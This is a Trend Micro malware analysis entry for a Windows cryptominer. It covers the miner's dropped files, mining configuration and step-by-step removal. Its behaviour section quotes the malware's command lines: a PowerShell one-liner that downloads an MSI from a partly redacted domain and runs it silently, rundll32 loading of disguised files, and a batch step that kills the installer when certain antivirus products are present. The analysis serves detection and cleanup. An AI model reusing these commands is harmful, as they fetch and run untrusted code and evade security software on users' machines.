Analysis by: John Rey Canon
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Coinminer

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel: Dropped by other malware, Downloaded from the Internet

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 2,412,544 bytes
File Type: Other
Memory Resident: Yes
Initial Samples Received Date: 06 Nov 2018
Payload: Connects to URLs/IPs, Downloads files

Arrival Details

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Coinminer drops the following files:

  • %User Temp%\{8 Random Characters}.msi → Downloaded file
  • %User Temp%\[{6 Random Characters}] → Coinminer configuration
  • %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\data.bin
  • %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\dafault.ocx
  • %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\ex.exe → normal file a unzipping tool
  • %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\f.bat → Detected as Trojan.BAT.TASKILL.AA
  • %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\icon.ico → Detected as ADW_FileTour
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\FRERES32.ini
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\SpyGlass.ini
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\_setup.ini
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\bin.dat
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\plugin.cx
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\f.bat → Detected as Trojan.BAT.TASKILL.AA
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\ex.exe → normal file a unzipping tool
  • %User Temp%\{6 Random Characters}.cmD

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, and 8.)

It creates the following folders:

  • %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\ → Create in first run
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\ → Create when the coinminer process has been terminated

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, and 8.)

Download Routine

This Coinminer connects to the following website(s) to download and execute a malicious file:

  • https://{BLOCKED}in1709.info/update.txt

Other Details

This Coinminer does the following:

  • It uses the following details for its coin mining routine:
    • Algorithim: cryptonight
    • Username: {BLOCKED}1xWHG1vywX2xTV8XZzbzB1E2QHEF9GtzPhSPRdK5TEkxXGRxVdAq8LwbA2Pz7jNQ9gYBxeFPHcqiiqaGJM2QyW64C
    • Password: soft-net
    • URL: {BLOCKED}.{BLOCKED}.{BLOCKED}4.170:2223
  • It creates the following processes in first run:
    • Executes the f.bat (Kills the coinminer installer process if AVAST/AVG is installed in the system):
      • cmd /c ""%Application Data%\Microsoft\Windows\Templates\\FileZilla Server\{6 Digit System Time}\f.bat" "
    • Extract icon.ico (password: icon):
      • cmd" /c "cd "%Application Data%\Microsoft\Windows\Templates\\FileZilla Server\"&ex -o -P icon icon.ico"
    • Create a sub folder and move all drop files, then uses the rundll32.exe to load the function Entry from default.ocx:
      • "cmd" /v:on /c "set iao=rundll32&set poq=%time:~6,2%%time:~0,2%%time:~3,2%&mKdir "%Application Data%\Microsoft\Windows\Templates\\FileZilla Server\!poq!"&cd "%Application Data%\Microsoft\Windows\Templates\\FileZilla Server\!poq!\"&move /y "%Application Data%\Microsoft\Windows\Templates\\FileZilla Server\*.*" "%Application Data%\Microsoft\Windows\Templates\\FileZilla Server\!poq!"\&!iao! default.ocx,Entry u"
    • Force close msiexec:
      • "%System%\taskkill.exe" /IM msiexec.exe /F
    It creates the following processes after terminating the coinminer process:
    • It downloads the msi installer in %User Temp%:
      • "%System%\WindowsPowerShell\v1.0\powershell.exe" -command "$cli = new-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'Windows Installer';$f = ' %User Temp%\\{8 Random Characters}.msi'; $cli.DownloadFile('https://{BLOCKED}in1709.info/update.txt', $f);Start-Process $f -ArgumentList '/q'"
    • Executes the downloaded file:
      • "%System%\msiexec.exe" /i "%User Temp%\{8 Random Characters}.msi" /q
    • Executes the f.bat (Kills the coinminer installer process if AVAST/AVG is installed in the system):
      • cmd /c ""%Application Data%\Microsoft\Windows\Templates\\Response Center\{6 Digit System Time}\f.bat" "
    • Extract plugin.cx (password: ZvDggW):
      • "cmd" /c "cd "%Application Data%\Microsoft\Windows\Templates\\Response Center\"&ex -o -P ZvDggW plugin.cx"
    • Create a sub folder and move all drop files, then uses the rundll32.exe to load the function Entry from _setup.ini:
      • "cmd" /v:on /c "set iao=rundll32&set poq=%time:~6,2%%time:~0,2%%time:~3,2%&mKdir "%Application Data%\Microsoft\Windows\Templates\\Response Center\!poq!"&cd "%Application Data%\Microsoft\Windows\Templates\\Response Center\!poq!\"&move /y "%Application Data%\Microsoft\Windows\Templates\\Response Center\*.*" "%Application Data%\Microsoft\Windows\Templates\\Response Center\!poq!"\&!iao! _setup.ini,Entry u"
    • Deletes all files in the create folder:
      • cmd /c ""%User Temp%\{6 Random Characters}.cmD" "

NOTES:

The 6 Digit System Time example is 071756 where 07 is milliseconds, 17 is hours, 56 is minutes.

FRERES32.ini is a Library to get free system resources on Windows 9x/ME from Total Commander. SpyGlass.ini is a Library of a software by InqSoft Window Scanner.

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.610.03
FIRST VSAPI PATTERN DATE: 06 Nov 2018
VSAPI OPR PATTERN File: 14.611.00
VSAPI OPR PATTERN Date: 07 Nov 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\{8 Random Characters}.msi
  • %User Temp%\[{6 Random Characters}]
  • %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\data.bin
  • %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\dafault.ocx
  • %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\ex.exe
  • %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\f.bat
  • %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\icon.ico
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\FRERES32.ini
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\SpyGlass.ini
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\_setup.ini
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\bin.dat
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\plugin.cx
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\f.bat
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\ex.exe
  • %User Temp%\{6 Random Characters}.cmD

Step 5

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}
  • %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}

Step 6

Restart in normal mode and scan your computer with your Trend Micro product for files detected as COINMINER.WIN32.MALXMR.TIAOODAM. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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